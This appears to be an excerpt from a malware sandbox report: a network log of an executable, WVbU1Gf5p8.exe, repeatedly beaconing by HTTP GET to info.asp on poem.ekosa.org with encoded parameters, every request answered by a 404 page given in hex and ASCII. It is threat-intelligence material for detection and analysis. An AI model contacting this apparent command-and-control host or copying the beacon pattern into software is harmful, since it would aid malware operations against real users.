Jan 11, 2021 17:55:10.102114916 CET	393	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:09 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.4	50010	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:10.591623068 CET	5273	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:10.855813026 CET	5273	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:10 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.4	50011	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:11.257790089 CET	5274	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:11.537098885 CET	5275	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:10 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.4	50012	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:11.826153040 CET	5275	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:12.087328911 CET	5276	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:11 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.4	50013	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:12.353857994 CET	5276	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:12.612499952 CET	5277	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:11 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.4	50014	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:12.996682882 CET	5278	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:13.265201092 CET	5278	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:13 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.4	50015	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:13.529620886 CET	5279	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:13.786463976 CET	5280	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:13 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.4	50016	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:14.060118914 CET	5280	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:14.321432114 CET	5281	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:14 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.4	50017	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:14.707397938 CET	5282	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:14.968189955 CET	5282	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:14 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.4	50018	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:15.236136913 CET	5283	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:15.496850967 CET	5283	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:15 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.4	50019	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:15.794238091 CET	5284	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:16.056045055 CET	5285	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:15 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49788	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
